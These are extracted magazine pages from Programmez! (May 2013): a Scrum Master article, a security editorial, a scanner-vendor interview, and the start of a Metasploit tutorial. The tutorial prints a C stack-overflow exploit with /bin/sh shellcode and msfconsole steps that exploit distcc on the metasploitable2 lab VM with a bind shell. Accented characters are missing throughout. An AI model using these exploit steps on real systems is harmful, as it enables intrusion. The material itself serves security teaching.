du ScrumMaster, vous avez la tte pleine de rves et grandes thories sur ce mtier.
Vous vous sentez lme dun ScrumMaster mais personne dans votre organisation ne
souhaite sessayer cette nouvelle approche ? Nabandonnez pas, nous avons des
propositions vous faire !
Fig.1
ommenons par (re)dcouvrir
ensemble les qualits et le quotidien
du ScrumMaster. Ensuite, nous proposerons de manire incrmentale comment introduire petit petit des pratiques
Agiles afin de glisser vers un mode Scrum.

> Ddi ou intgr ?


Avant de vous prsenter ce quest un ScrumMaster, il faut savoir quil existe 2 grandes
coles. Chacune ses avantages et ses
inconvnients et aucune dentre elles nest
meilleure que lautre. Il est donc prfrable
de choisir votre type de Scrum Master en
fonction de votre contexte et de la taille de
votre quipe. La 1 re cole est celle du
Scrum Master ddi. Il sagit dun membre
de lquipe qui sera temps plein ScrumMaster. La seconde cole est celui du
ScrumMaster intgr. Il est la fois ScrumMaster et dveloppeur [Fig.1].

> Dessine-moi
un ScrumMaster
Son caractre [Fig.2]
Contrairement un chef de projet, le ScrumMaster nest pas l pour grer une quipe,
mais pour la guider, la comprendre et laider.
Il se verra donc davantage comme un gal et
ne cherchera pas dans ce mtier un poste
responsabilits managriales. Un ScrumMaster parlera ainsi plutt des dveloppeurs de son quipe , plutt que de ses
dveloppeurs .
Il est donc humble et bienveillant, mettant en
avant lquipe pour ses succs, ne blmant
pas, mais ne trouvant pas dexcuses aux
checs. En tant que membre de lquipe, il
est bien positionn pour la comprendre. Cela
lui permet dtre lcoute des problmes et
avoir cur leurs rsolutions.
Pour obtenir la leve des obstacles identifis, le ScrumMaster devra faire preuve de
beaucoup de diplomatie, mais savoir rester
ferme. De plus, un ScrumMaster sympathique aura souvent plus de facilits rallier

Fig.2

des personnes extrieures la cause de


lquipe, alors souriez !

Ses connaissances /
son exprience
Le ScrumMaster tant le guide de lquipe
dans sa pratique du Scrum, il est essentiel
quil sache de quoi il parle, tant sur le plan
thorique que sur le plan pratique.
Il est donc important de matriser le manifeste Agile (http://agilemanifesto.org/iso/fr/) : en tant
que ScrumMaster, posez-vous la question :
Suis-je capable dnoncer les quatre grands
principes du manifeste Agile ? . Mieux encore : Suis-je capable de rciter les 12 principes sous-jacents au manifeste Agile ? . A
la premire question, la rponse devrait tre
oui. A la seconde, ne nous leurrons pas,
cest certainement non. Toutefois, prenez le
temps de les relire de temps en temps. Vous
y trouverez srement la rponse une question, ou un problme du moment. Il faut
toutefois souligner que la thorie ne suffit
pas. ScrumMaster est un mtier qui requiert
de lexprience. Avoir dj fait partie dune
quipe fonctionnant en Scrum est une plusvalue pour un ScrumMaster, qui aura ainsi
acquis un certain recul par rapport aux
recommandations Scrum. Il est en effet
important de savoir sadapter lquipe, et
de proposer des actions dont on connat les
effets. Aussi, le ScrumMaster gagnera sinformer sur les autres mthodes Agiles. Le
Scrum donne des mthodes dorganisation
et de collaboration qui, pour fonctionner,

PROgrammez !

< 30 >

MAI

2013

ncessitent la production dun code de grande qualit. Le ScrumMaster devra dans ce


cas sattarder sur la mise en place des techniques issues de leXtreme Programming,
comme lintgration continue et le TDD (dveloppement conduit par les tests). Un ScrumMaster ouver t et curieux aura donc
davantage doutils sa disposition pour
mieux guider lquipe.

Ses comptences
Un ScrumMaster senior saura utiliser des
comptences humaines de gestion des problmes, en tant tout particulirement dynamique et proactif. Un ScrumMaster
dbutant capitalisera plutt sur ses connaissances techniques et mtier pour faciliter la
communication entre le produit et le dveloppement. Il utilisera alors sa capacit parler
les deux langages pour faciliter la discussion
entre les deux parties. Il pourra ainsi sassurer de la bonne comprhension du besoin par

30-33

20/04/13

11:53

Page 31

i agilit
lquipe et occasionnellement traduire un
besoin purement technique en un apport
fonctionnel. Ainsi, si le dbat entre le ScrumMaster intgr et le ScrumMaster ddi est
sans fin, il est indniablement avantageux que
le ScrumMaster ait au moins des notions sur
les technologies utilises et si possible une
bonne matrise, afin de gagner plus facilement le respect et le soutien de son quipe.

> Le quotidien
du ScrumMaster

sein de lquipe que par la rsolution des


problmes. Les diffrentes crmonies sont
la source principale dinformations pour le
ScrumMaster (en particulier le daily et la
rtrospective comme nous le verrons dans
la dernire partie), lui permettant de mieux
identifier les problmes que rencontre lquipe. Son rle requiert davoir une vision globale des obstacles afin de les prioriser et de
faciliter leur disparition.

Pas homme tout faire

Daprs le Scrum guide, le ScrumMaster a


pour responsabilit de guider lquipe vers la
ralisation de ses objectifs, en agissant
comme tampon contre les perturbations et
en sassurant du bon droulement du
Scrum. Oui, mais en pratique, que peut bien
faire un ScrumMaster de ses journes ?

Garant du Scrum
Le ScrumMaster est le garant du Scrum. Il
a donc pour responsabilit de former lquipe
aux pratiques Agiles, et de sassurer du bon
droulement des crmonies. Il cadre le daily
stand up, aide lquipe prparer la dmo et
y fournit les indicateurs ncessaires la
revue, veille la pertinence de la rtrospective et fait en sorte que le planning soit correctement prpar et effectu. A cela sajoute la
tche plus long terme de sensibiliser les
quipes aux mthodes Agiles, et dtre force
de proposition sur les bonnes pratiques.

Facilitateur
Le ScrumMaster est souvent appel le
facilitateur . Cela veut dire que son objectif premier est de permettre lquipe de
travailler dans les meilleures conditions et
le plus efficacement possible. Cela passe
tant par lamlioration de lorganisation au

Il est important de souligner que les bonnes


pratiques ou ides, au mme titre que la
rsolution des problmes, ne doivent pas forcment venir du ScrumMaster. Il na pas
vocation avoir les meilleures solutions, mais
les faire merger, et les mettre en lumire. En tant que Scrum Master, il est souvent
difficile de mettre en avant des problmes,
des pertes de temps ou simplement des axes
damlioration, sans avoir tendance vouloir
les rsoudre soi-mme. Ainsi, le pige du
ScrumMaster est de devenir lhomme
tout faire et de trs vite tre dbord. La
tche du ScrumMaster qui consiste allger
lquipe des problmes dits administratifs
nimplique pas de devoir les faire soi-mme,
mais plutt daider lquipe les optimiser. Le
ScrumMaster aura ainsi cur de responsabiliser lquipe, tant sur la production que sur
la gestion des obstacles. Les mthodes
visuelles prconises par Scrum (le graphique burndown , le Scrum board )
aideront lquipe constamment garder en
mmoire lobjectif atteindre et le chemin
parcourir pour y arriver.

actions lui soient personnelles. Le ScrumMaster doit donc faire attention ne pas
influencer les dcisions, son but tant de
mener lquipe dans sa recherche et limplmentation de la solution et non de la
trouver. Il peut en revanche challenger les
solutions proposes si celles-ci lui semblent
en dsaccord avec les bonnes pratiques de
lquipe (Scrum ou non), ou dans une perspective damlioration continue.
Il dispose pour cela de divers outils fournis
par les mthodes Agiles, quil pourra utiliser
dans les crmonies Scrum (tout particulirement la rtrospective) ou en organisant
des ateliers de rflexion. Il peut par exemple
tre intressant de varier la rtro, tant dans
sa forme (le Mad Sad Glad , le ce quil
faut continuer, ce quil faut arrter, ce quil
faut commencer ) que dans les outils qui
laccompagnent (comme la mthode des 5
pourquoi) [Fig.3 et 4]. Les avantages de ce type
de mthodes sont :
quelles ont fait leurs preuves ;
quelles sont suffisamment nombreuses pour
facilement sadapter chaque situation ;
quelles aident garder le travail efficace
et constructif ;
quelles aident apporter de la varit (et
donc viter la monotonie et lennui) dans
les crmonies.
Le ScrumMaster aura alors pour rle dorganiser et de limiter le temps de rflexion.

Transparence

Guider, sans dcider

Scrum est une mthode mettant en avant la


transparence tous les niveaux. Cela permet de montrer au grand jour les victoires
comme les checs, de partager les progrs
et les obstacles. Au niveau de lquipe elle-

Dans la mesure o cest lquipe qui doit agir


pour amliorer, il est important que les

mme, la transparence aide responsabiliser ses membres et dynamiser la leve des

Fig.3

Exemple de Mad Sad Glad Le point le plus vot pourra par exemple tre analys
avec le 5 pourquoi
PROgrammez !

Fig.4

Mthode des 5 pourquoi. Le problme identifi (souvent un symptme) en


entre, le problme cause ( rsoudre) en sortie

< 31 >

MAI

2013

30-33

20/04/13

11:53

Page 32

i agilit
perturbations. Le partage du savoir et des
informations aura galement tendance
enrichir les changes et amliorer les performances de lquipe. Au niveau de lorganisation, il est bien plus rassurant pour le
management de pouvoir visualiser lavancement et les problmes dune quipe que de
navoir aucune information sur la situation.
Un management inform aura moins tendance faire pression sur lquipe. Le ScrumMaster aura donc tout intrt prendre les
devants, et IN-FOR-MER (attention la brutalit de la dmarche tout de mme, cest le
moment de faire preuve de diplomatie !).

Devenez dispensable!
La conclusion des points prcdents est : le
ScrumMaster est l pour guider lquipe,
laider sauto-organiser et la former. En
bref, son but est de rendre lquipe autonome. Le ScrumMaster ne doit pas se
rendre indispensable, bien au contraire. Son
travail est termin lorsque lquipe na plus
besoin de lui au quotidien pour sauto-organiser. Le ScrumMaster prend alors un rle de
coach, qui apporte un regard extrieur
lquipe pour soutenir la dynamique damlioration continue. Ainsi, un ScrumMaster intgr fera srement 70 % de ScrumMaster et
30 % de dveloppement au dpart, mais doit
viser 10 % de ScrumMaster et 90 % de
dveloppement terme.

> Mise en place de Scrum


en sous-marin
Que faire si votre quipe ne fait pas du
Scrum ? Comment faire pour migrer une
quipe vers une logique Agile de manire
incrmentale ? Pour ce genre de situation,
nous vous proposons une liste dtapes
suivre pour vous aider faire glisser votre
quipe vers une dmarche Scrum. Ceci ne
reste quune proposition et nest en rien la
solution parfaite.

Priorisation des tches


Afin de vous proposer ce modle, nous
avons estim les lments qui composent le
Scrum et nous avons cherch les prioriser
par rapport leur retour sur investissement
(ROI). Le ROI dans un contexte financier est
calcul par la formule suivante :

Dans lunivers Agile, le gain correspond la


valeur ajoute dune fonctionnalit et le cot
est la complexit pour la raliser. Ces deux

valeurs tant souvent estimes sur deux units de mesure diffrentes, la formule applique est alors simplifie :

En rgle gnrale, cette formule est dune


grande aide lorsque lon souhaite prioriser
les tches faire. Il sera alors beaucoup
plus facile didentifier celles qui vous apporteront le plus au moindre cot. Il est donc trs
fortement conseill dutiliser cette formule
lorsque vous cherchez prioriser un backlog. Dans notre application de cette formule,
nous avons considr que la valeur ajoute
tait lamlioration du cadre de travail de
lquipe de dveloppement et nous avons
choisi comme complexit les problmes
techniques et logistiques.
Cette explication tant faite, lanons-nous
dans notre mise en place du Scrum !

Visibilit et communication
Les lments du Scrum qui apportent sans
doute le plus de gains avec un effort rduit
sont les deux crmonies centres sur
lquipe : Le daily stand up et la rtrospective ! Ces deux crmonies sont trs importantes car elles sont rcurrentes et
permettent aux dveloppeurs de parler de
leurs obstacles. Durant le daily stand up, le
dveloppeur signale, entre autres, ce qui le
bloque pour avancer dans son travail au jour
le jour. Durant la rtrospective, on demande
lquipe de prendre du recul sur ce qui a
t fait pour ensuite prendre des dcisions
afin damliorer le mode de fonctionnement.
La valeur ajoute de ces crmonies est
donc trs importante et elles ne sont pas
complexes mettre en place. Il suffit de disposer dun espace de travail et dun laps de
temps ddi pour se runir rgulirement.
Il est vident quil faudra russir dlier les
langues et organiser des dbats constructifs o tout le monde peut donner son opinion. Or cela fait justement par tie du
quotidien du ScrumMaster (voir le quotidien
du ScrumMaster).

Lexcellence technique
La seconde tape possde une trs forte
valeur ajoute mais est aussi dune trs
forte complexit dans sa mise en place : Instaurer un processus de qualit au niveau des
dveloppements !
Le Scrum stipule quil faut livrer rgulirement
du logiciel de qualit proche de la production,

PROgrammez !

< 32 >

MAI

2013

mais ne nous explique pas comment faire.


Nous parlons ici dun sujet non explicitement
inclus dans Scrum mais qui est vital dans
toute mthode Agile : lexcellence technique,
lun des 12 principes sous-jacents du manifeste agile ! La mthode Agile qui traite le
mieux la majorit de ces problmatiques est
leXtreme Programming (XP). Si on y rajoute
les bonnes pratiques venant de lALM (Application Lifecycle Management), il est alors
possible dobtenir une chane de production
trs efficace. Il est capital dinvestir du
temps et de largent dans cette tape, car la
ngliger risquerait de mettre mal les belles
promesses de lagilit :
La matrise de dette technique ;
La capacit au changement ;
Un produit oprationnel rpondant au
besoin ;
La non-rgression.
Les mthodes Agiles embrassent le changement mais si nous ne possdons aucun
moyen den contrler et tracer les impacts,
le produit sera alors instable et donc inexploitable. De ce fait, Il est impratif de complter le Scrum avec des bonnes pratiques
provenant de XP et de lALM

eXtreme Programming
Llment capital venant de lXP quil faut
absolument inclure dans sa structure est la
gestion des tests automatiss. Tout le
monde vous le dira : Pour quun projet
Scrum fonctionne bien, il faut tester, tester,
tester ! La recette est toujours une priode
difficile et trop coteuse. La meilleure stratgie pour remdier cela est dautomatiser
au maximum vos tests. Une bonne pratique
du dveloppement dirig par les tests (TDD)
vous aidera dtecter plus rapidement les
problmes de rgression. Cest lun des
moyens les plus srs pour sassurer de la
qualit de son produit. Plus votre couverture
du code par les tests sera importante et
plus vous pourrez rduire la dure de la
recette manuelle. Llment complmentaire
aux tests automatiss est lintgration continue dans un build. Par cette pratique, la
sant et la compilation de votre solution
seront contrles rgulirement. Enfin, il ne
faut pas hsiter complter dun maximum
de pratiques XP : la revue de code ou le Pair
Programming pour maintenir le partage du
savoir, le refactoring pour garantir un code
propre, la normalisation du code pour limiter
la dette technique et faciliter la comprhension du code, etc. Les plus grands succs
connus sont des projets o le Scrum a t

30-33

20/04/13

11:53

Page 33

i agilit
complt par XP et ceci nest pas d au
hasard !

Application Lifecycle Management


En plus de ces pratiques XP, il faut penser
lunivers de lALM afin doffrir une meilleure
solution dingnierie logicielle :
La gestion dun Build ;
La traabilit des dveloppements
le contrle de la couverture du code par
les tests ;
le dveloppement par branches ;
lindustrialisation des dveloppements ;
le dploiement automatis.
Toutes ces pratiques sont l pour amliorer
la qualit du produit et acclrer le feedback. Complter votre processus de dveloppement avec ces bonnes pratiques vous
fournira donc une quantit importante dinformation pour surveiller et amliorer la qualit de vos applications. De plus, il est
toujours intressant de pouvoir gagner du
temps sur toutes les tches rptitives et
chronophages comme le dploiement ou le
lancement des tests par exemple. Il est sr
que toutes les technologies ne permettent
pas cette mise en place. Il est possible de
faire du Scrum sans automatisation en ayant
uniquement des plateformes de tests adquats ou des mcanismes de tests rguliers. Le challenge de lexcellence technique
peut reprsenter un cot important, surtout
au dbut, mais son gain est dautant plus
important que le temps passe et que la solution grossit. Si vous ngligez cette tape, il y
a peu de chance que votre exprience
Scrum puisse tre un rel succs.

Mise en place
des autres pratiques Scrum
Arriv ce niveau-l, si votre quipe vise lexcellence technique et que vous arrivez
changer durant vos crmonies, vous ne
devriez plus rencontrer normment de
freins techniques pour mettre en place ce
nouveau mode de fonctionnement au sein de
votre quipe. Le cur de cette dernire est
dj en place : Qualit et communication au
sein de lquipe. Maintenant vous pouvez
complter vos pratiques avec le reste des
lments qui composent le Scrum :
Introduisez le concept du backlog de produit (en attendant davoir un Product Owner) ;
Traduisez les fonctionnalits quon vous
fournit en User Stories (US) ;
Dfinissez une unit de mesure pour estimer
la complexit des users stories avec votre
quipe (taille de T-shirt, suite de Fibonacci,) ;

Sensibilisez votre quipe sur limportance


des tests dacceptation ;
Commencez dcouper le temps en sprints ;
Rflchissez avec votre quipe sur les prrequis ncessaires pour quune US soit
prte tre ralise (READY) ;
Dterminez aussi les exigences pour
quune US soit termine tout en respectant les objectifs de qualit que vous vous
tes fixs lors de ltape prcdente
(DONE) ;
Commencez mesurer votre vlocit.
Mettez en place le planning poker et les
autres crmonies restantes.
Nessayez pas de tout mettre en place en
mme temps, au risque de vous disperser et
casser votre belle dynamique. Noubliez donc
pas dy aller petit petit (cf. baby steps) et
de ne pas vous parpiller sur trop de chantiers en parallle, cela est le plus souvent
contre-productif. Maintenant, ce sont les
pratiques qui touchent lextrieur de lquipe
quil faut mettre en place.

Identifier le Product Owner


Vous y tes presque ! Vous avez une quipe
oprationnelle. Votre environnement est
prt. Il ne vous reste plus qu identifier la
personne ct mtier qui va vous permettre
dalimenter votre quipe avec des fonctionnalits exprimes en Users Stories: Le Product
Owner (PO) ! Dans une mise en place en
sous-marin , avoir un Product Owner sera
une tche trs ardue. Malgr le fait que vous
avez pu modifier le mode de fonctionnement
de votre quipe, ici il est question de nouveaux individus qui ne font pas partie de
lquipe directement. Il faudra donc trouver
une sorte de sponsor au sein de la matrise
douvrage qui acceptera de jouer le jeu avec
vous. Vous allez donc entreprendre une partie de Qui est ce ? au sein de lentreprise.
Sera-t-il capable de nous expliquer les fonctionnalits clairement ?
Est-il capable de nous aider dterminer
les critres dacceptation ?
Sera-t-il capable de se rendre disponible
pour valider le travail de lquipe ?
Pourra-t-il accepter de ngocier avec nous
les moyens de raliser son besoin avec
lquipe ?
Lorsque vous avez trouv votre candidat,
commencez extraire des fonctionnalits
quil vous fournit les Users Stories, afin de
les lister dans le product backlog. Vous pourrez lui prsenter ce nouveau format et la
notion de priorisation des US. Ainsi, petit
petit vous laccompagnerez pour quil glisse

PROgrammez !

< 33 >

MAI

2013

lui aussi dans une dmarche Agile dans lexpression des besoins qui alimentera votre
quipe. Pour que cela puisse bien fonctionner, Il serait idal que le PO connaisse parfaitement le produit et la cible mtier et il quil
puisse possder le poids ncessaire au sein
de lentreprise pour vendre les dcisions qui
seront prises lors de la ralisation incrmentale du logiciel. Vous laurez compris, le PO
est crucial pour le projet. Si vous demandez
un coach Agile le problme le plus rcurrent sur les projets Agile, il rpondra souvent : Avoir un bon PO ! . Faites donc
votre possible pour accompagner et motiver
les personnes qui pourraient jouer ce rle
afin de vous donner tous les chances que
votre dfi dintroduire de lagilit pour votre
quipe soit un grand succs. Si vous russissez atteindre ce niveau, Bravo vous faites
du Scrum ! Il y a encore faire et il est toujours possible de samliorer mais courage !
En maintenant le cap, votre quipe progressera et Il y a fort parier que cette nouvelle
approche intrigue tous les intervenants extrieurs qui collaborent avec votre quipe.

Conclusion
La plus grande preuve lorsque lon souhaite
introduire des pratiques Agiles nest pas la
mthode en elle-mme mais surtout le choc
des mentalits lorsquon essaye de changer
les choses. Si vous arrivez surpasser ces
preuves relationnelles alors vous dcouvrirez les bienfaits de Scrum et offrirez votre
quipe un meilleur cadre de travail. Finalement, Le ScrumMaster a pour vocation de
transformer une quipe en un groupe autoorganis et pouvoir considrer que cette
tche est termine est la plus grande victoire que peut viser un ScrumMaster ! A ce
niveau de maturit, un ScrumMaster ddi
pourrait tre remplac par un ScrumMaster
intgr car ce rle deviendra une responsabilit partage parmi les membres de
lquipe. Il ne faut jamais perdre de vue cet
objectif ! Scrum prnant lamlioration continue, il y aura toujours des actions mettre
en place pour viser plus haut mais une fois
lquipe autonome elle aura la maturit pour
affronter ses obstacles.
# Laurene Vol-Monnot
Scrum Master
Xebia - Software Development Done Right
Blog: http://blog.xebia.fr
# Arnaud Villenave
Coach Agile & Expert ALM
Cellenza - Software Development Done Right
Blog: http://blog.cellenza.com

34-50

20/04/13

01:42

Page 34

i hacking

Hacking :
mais que fait le dveloppeur ?
La scurit informatique, on en
parle beaucoup dans les mdia, les
salons et confrences. Et aprs ?
Bizarrement, on rase les murs. Il ne
se passe pas une semaine sans
dcouvrir une nouvelle faille sur
Android ou iOS, des problmes
sur des processeurs ou tout
bonnement sur de gros
sites de eCommerce.
Bref, la routine.

rer une mise jour de scurit


davril ( Patch Tuesday ) suite des
bugs dans un des correctifs, mme
si les problmes concernaient un
nombre restreint dutilisateurs
Windows, le bug a t jug srieux
pour retirer le patch
Ce mois-ci nous avons
voulu revenir sur la
scurit en nous focalisant sur deux tendances : les attaques
avec lun des outils
de rfrence actuels,
Metasploit et le ct
dveloppeur avec le
top 10 des failles web
Noubliez jamais que pour
faire une contre-mesure efficace, il faut comprendre lattaque, de
sa cration son excution.

Dire que rien nest fait


serait abusif. Car en
dix ans, des progrs ont
t raliss sur les techniques et la transparence
mais le dveloppeur nest
pas toujours trs rceptif
mieux scuriser son code ou encore tester les failles les plus lmentaires. Or, si on regarde le palmars des failles et attaques, on
retrouve toujours un peu les mmes :
injection de code, phishing, scanneur rseau Et personne nest
labri. Les patchs urgents dOracle
pour boucher les trous sur Java
prouvent lampleur du problme.
Plus rcemment, Microsoft a d retiPROgrammez !

Nous aurons loccasion de revenir


dans Programmez ! sur la scurit et
surtout sur la programmation scurise ou comment scuriser son
application ds le design
# Franois Tonic

< 34 >

MAI

2013

34-50

20/04/13

01:42

Page 35

i hacking
Interview

Nous dtectons plus de


3 000 failles par jour !
Ag de seulement 26 ans, Mohammed Boumediane, le
fondateur de HTTPCS, est dj reconnu sur le march
de la scurit et du hacking. Il a suivi une formation
dingnieur en scurit de linformation et de cryptologie
au Cryptis Limoges.
On parle beaucoup de failles, de fuites,
d'attaques. Quelle est pour vous la ralit
au-del de l'aspect mdiatique ?
La ralit est qu' chaque minute une entreprise est victime dune attaque. Ces attaques
varient selon la taille de lentreprise et les
outils de dfense dploys sur leurs systmes internes. Ceci dit, aucune entreprise
nest labri ; ds que vous tes connect
sur un rseau, votre scurit dpend de la
scurit des autres membres de votre
rseau, je vous laisse imaginer ce qui peut
advenir sur internet ! Utiliser des antivirus,
des anti-malwares cest bien, mais ce
nest pas suffisant quand on a des donnes
importantes protger. Il faut savoir quil y a
une vraie conomie souterraine bien organise du cyber armement, contrle par des
mafias, dont lunique but est de gagner de
largent ou vendre des outils dattaques de
systmes informatique vulnrables. Pour
mieux comprendre ce qui prcde: vous utilisez un systme, systme qui ne vous appartient pas, car dvelopp par un diteur
dapplications. Alors si cette application
est vulnrable, le temps que lditeur se
rende compte et en prpare le correctif, vous tes en danger.

passage lintrieur, et dans notre cas,


lentreprise. Ces applications web ne sont
pas que des interfaces vitrines, mais de vritables outils complets de gestion et dadministration de tches critiques quil faut trs
bien scuriser. Il faut donc utiliser des outils
de veille et danalyse au quotidien. Termin le
temps des audits de scurit la main tous
les ans ! Aujourdhui il faut suivre la vitesse
de cette volution, avec des outils performants, capables de dtecter toutes les
failles dans une application web, tout en proposant des contre-mesures.
Quelle est la plus belle faille ou attaque que
vous avez eu l'occasion de voir ou de
contre-attaquer ?
Nous dtectons en moyenne 3 000
failles/jour, dont 30 % de failles critiques ou
trs critiques. Les attaques sont nombreuses et forcment diffrentes, elles sont
de plus en plus sophistiques et font de plus
en plus appel plusieurs vecteurs dat-

Une des causes de cette inscurit


n'est-elle pas double : la non mise
jour des logiciels serveurs et outils, et
le manque de rigueur dans le dveloppement d'applications web ?
Pour la non mise jour , la faute
revient aussi aux diteurs qui pour certains mettent du temps sortir les correctifs. Mais le manque de rigueur
dans le dveloppement dapplications
web est mettre en avant car elles
constituent la porte dentre dans lentreprise. Et une porte par dfinition est
un dispositif de fermeture, donnant

PROgrammez !

< 35 >

MAI

2013

taques pour russir. Nous ne sommes


jamais surpris par leur complexit, notre
systme est capable de les dtecter, en
revanche, ce qui nous surprend chaque fois,
ce sont les contre-mesures et les dispositifs
de scurit dploys par les sites web vulnrables. En interne nous appelons cela "les
scurits des pauvres", et je ne parle pas
dargent, mais de technique. Par exemple ils
utilisent des blacklists, or il y a mille et une
faons de reformuler une injection pour
russir une attaque.
Vous ditez un scanner de vulnrabilits.
Comment fonctionne ce type doutil ?
Un scanner de vulnrabilits web est gnralement compos de trois parties. Une partie qui cartographie le site, et il est important
den faire une car tographie complte.
HTTPCS est capable danalyser du code javascript et flash par exemple. Cette partie est
dune importance primordiale pour la russite
du scan, car si vous scannez dix pages sur
onze, vous passez alors ct dune
page qui peut potentiellement tre vulnrable, il faut donc faire une cartographie complte et noublier aucune page.
La deuxime partie est linjection qui va
soccuper dinjecter du code malveillant,
et l encore cela son importance, il
ne faut pas injecter nimporte quoi, le
but est de dtecter les vulnrabilits
sans endommager le systme. La troisime partie est lanalyse, qui va traiter
les rponses serveur pour confirmer ou
non la vulnrabilit. Chez HTTPCS, nous
veillons obtenir des rsultats fiables,
et nous avons travaill durant deux ans
sur chacune de ces parties afin de ne
pas passer ct de vulnrabilits et
de ne dlivrer nos clients que des
vrais positifs .
# F.T.

34-50

20/04/13

01:42

Page 36

i hacking

Metasploit ou l'art de l'exploitation


A la fois framework de dveloppement d'exploits et outil pour auditer les rseaux la
recherche de failles de scurit, metasploit est aujourd'hui un outil incontournable
pour les experts de scurit.
omment lutiliser et automatiser un audit ? On le dcrira cidessous comme si nous tions dans un film daction o les
exploits et les vulnrabilits sont les acteurs protagonistes et
metasploit le ralisateur.

> Les origines


Cest en 2003 que HD Moore a lide de dvelopper un kit doutils et
de librairies open source pour le dveloppement dexploits. A cette
poque ce type de framework tait trs coteux car les exploits
taient considrs comme quelque chose de trop dangereux pour
tre vendus petits prix ou, pire, librement tlchargeables.
HD, comme la plupart des chercheurs en scurit, tait convaincu
quinterdire la publication dexploits, tout comme cacher aux utilisateurs les failles de leurs logiciels, ntait pas un modle viable.
Cest ainsi quest n metasploit. Un framework pour le dveloppement dexploits, distribu sous licence BSD, une des licences les
moins restrictives qui existe au monde. Nimporte qui pouvait ainsi
tlcharger msf et tester la scurit de son OS, dun protocole de
communication ou dun simple logiciel utilisateur.
Dix ans se sont couls depuis et metasploit est devenu de facto la
rfrence pour la publication dexploits. Si un chercheur trouve une
faille exploitable , il na qu crire un module metasploit pour partager sa dcouverte avec le reste de la communaut.

> Les acteurs protagonistes


Si msf est le metteur en scne dun audit de scurit, les acteurs
sont la vulnrabilit, l'exploit et le payload. Sans eux laction nest pas
possible.

La vulnrabilit
La vulnrabilit est une anomalie propre un logiciel qui fait que
celui-ci se comporte diffremment de ce qui est prvu.
Le buffer overflow est un grand classique des vulnrabilits. Ci-dessous trois lignes en C qui prsentent une vulnrabilit de ce type :
void function(char *str) {
char buffer[16];

contigu la variable buffer est crase. Le flux d'excution est altr car cette zone de mmoire peut contenir une autre variable ou le
pointeur linstruction suivante.
Si lon excute le code ci-dessous, on obtient une erreur de segmentation cause dun accs une zone de mmoire qui ne lui est pas
allou.
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
Consquence : le flux dexcution est modifi et lapplication plante .
Mais peut-on contrler ce flux et excuter du code arbitraire ?

L'exploit
L'exploit est un bout de code qui profite de la vulnrabilit dun systme pour altrer et contrler le flux d'excution de faon arbitraire.
En revenant lexemple prcdent, voici le mme buffer overflow qui
est exploit pour ouvrir un shell (/bin/sh).
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46
\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89
\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];

strcpy(buffer,str);

int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)


*(long_ptr + i) = (int) buffer;

Au moment de lexcution de linstruction strcpy, si la chane de


caractres str dpasse les 16 octets, une partie de la mmoire

PROgrammez !

< 36 >

MAI

2013

34-50

20/04/13

01:42

Page 37

34-50

20/04/13

01:42

Page 38

i hacking
Premires commandes
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

Une fois metasploit install, la premire opration faire est une


mise jour :

strcpy(buffer,large_string);

# msfupdate

}
Ensuite il est temps de dmarrer la console :
Une fois termine la dernire instruction, ce programme ne passe
pas la main mais ouvre un nouveau shell . En effet, une fois charge
en mmoire, la chane de caractres shellcode est excute et interprte comme le code suivant :

# msfconsole
msf>
Enfin, quelques commandes pour une mise en bouche :

#include <stdio.h>
msf>
msf>
msf>
msf>
msf>
msf>

void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);

help
show exploits
show payloads
show options
connect
searc

Choix de lexploit et du payload

}
Ce nest pas l'objet de cet article de rentrer dans les dtails de gnration de shellcode. Les lecteurs qui sont intresss peuvent lire larticle [1] do sont tirs ces exemples. Ceci dit, il est important de
relever que metasploit dispose des outils ncessaires pour gnrer
du shellcode et pour calculer les offsets de mmoire.

Le payload
Ds que le flux dun programme est contrl, il est possible dexcuter du code arbitraire (i.e. lexcution dun shell). Ce code arbitraire
sappelle le payload. Il est normalement indpendant de lexploit luimme.
Metasploit dispose de plusieurs types de payloads diffrents. Si le
plus simple est un shell et le plus sophistiqu meterpreter, le plus
excentrique est un serveur VNC.

> Action !
Installation
Il existe plusieurs faons dinstaller metasploit :
Tlcharger le setup dinstallation sur le site de Rapid7 (lditeur de
metasploit) [3]
Cloner le rpo github du framework metasploit [4]
Utiliser la version pr-installe sur la distro Linux BackTrack [5]
Nous choisissons cette dernire option qui a lavantage dtre prconfigure et isole de notre OS de travail.
Comme systme cible, nous utilisons la VM metasploitable2 [5].
Cest une distribution Linux prpare des fins ducatives par
Rapid7 : elle prsente un grand nombre de failles de scurit non
corriges.

(1) Ce code provient du clbre article [1] et a t conu pour une architecture
Linux Intel. Bien quencore dactualit, larticle a dsormais 15 ans et gcc et
Linux ont entre-temps volu [2]. Pour cette raison, il est ncessaire utiliser les
options suivantes lors de la compilation avec gcc :
-fno-stack-protector
-mpreferred-stack-boundary=2
-z execstack

Aprs stre familiaris avec msf, il est temps de commencer laudit.


Dans cet exemple, ladresse IP de la machine cible metasploitable2
est 192.168.138.129. Cest la premire chose quil faut spcifier
en excutant la ligne de commande qui suit :
msf> set RHOST 192.168.138.129
Metasploitable2 contient plusieurs services qui peuvent tre exploits pour avoir accs au serveur. Lun dentre eux est distcc, une
application qui fait de la compilation distribue. La version installe
est vulnrable une attaque distante [6]. Un exploit qui permet de
profiter de cette vulnrabilit est livr avec msf :
msf> info exploit/unix/misc/distcc_exec
msf> use exploit/unix/misc/distcc_exec
Cette dernire commande, use, permet de configurer lexploit.
Il ne reste qu choisir le payload. On peut visualiser la liste de ceux
compatibles avec lexploit distcc_exec :
msf exploit(distcc_exec) > show payloads
Et en choisir un avec la commande set PAYLOAD :
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl

Exploitation de la vulnrabilit
Une fois la configuration du module complte, on la valide :
msf exploit(distcc_exec) > check
[+] The target is vulnerable.
Le moment dexploiter la vulnrabilit est arriv :
msf exploit(distcc_exec) > exploit

PROgrammez !

< 38 >

MAI

2013

34-50

20/04/13

01:42

Page 39

i hacking
[*] Started bind handler
